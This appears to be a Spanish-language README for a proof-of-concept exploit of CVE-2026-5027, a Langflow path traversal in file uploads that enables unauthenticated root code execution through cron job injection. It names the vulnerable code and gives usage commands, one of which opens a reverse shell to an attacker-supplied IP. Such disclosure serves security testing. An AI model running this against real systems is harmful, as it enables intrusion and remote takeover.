yahiahamza/cve-2026-5027Prueba de concepto de exploit para CVE-2026-5027, una vulnerabilidad de path traversal en Langflow que conduce a la ejecución remota de código no autenticada mediante la inyección de trabajos cron.
Las versiones de Langflow hasta la 1.8.4 inclusive no sanean el parámetro filename en el endpoint POST /api/v2/files. Un atacante puede usar secuencias de path traversal (../) para escribir archivos en ubicaciones arbitrarias del sistema de archivos. Cuando se combina con la configuración predeterminada de auto-login de Langflow, esto es explotable sin ninguna autenticación, lo que conduce a la Ejecución Remota de Código como root mediante la inyección de trabajos cron.
# Prueba de concepto (escribe un archivo de prueba en /tmp/)
python3 exploit.py -t http://target:7860
# Con credenciales (si el auto-login está deshabilitado)
python3 exploit.py -t http://target:7860 -u admin -p password
# Reverse shell mediante trabajo cron
python3 exploit.py -t http://target:7860 --lhost YOUR_IP --lport 4444
La función upload_user_file() en src/backend/base/langflow/api/v2/files.py pasa file.filename directamente al servicio de almacenamiento sin saneamiento. El método LocalStorageService.save_file() construye la ruta usando folder_path / file_name, lo que no impide el path traversal.
Esta herramienta se proporciona únicamente para pruebas de seguridad autorizadas y fines educativos. Úsela solo en sistemas que le pertenezcan o para los cuales tenga permiso explícito de prueba.
Yahia Hamza - https://yh.do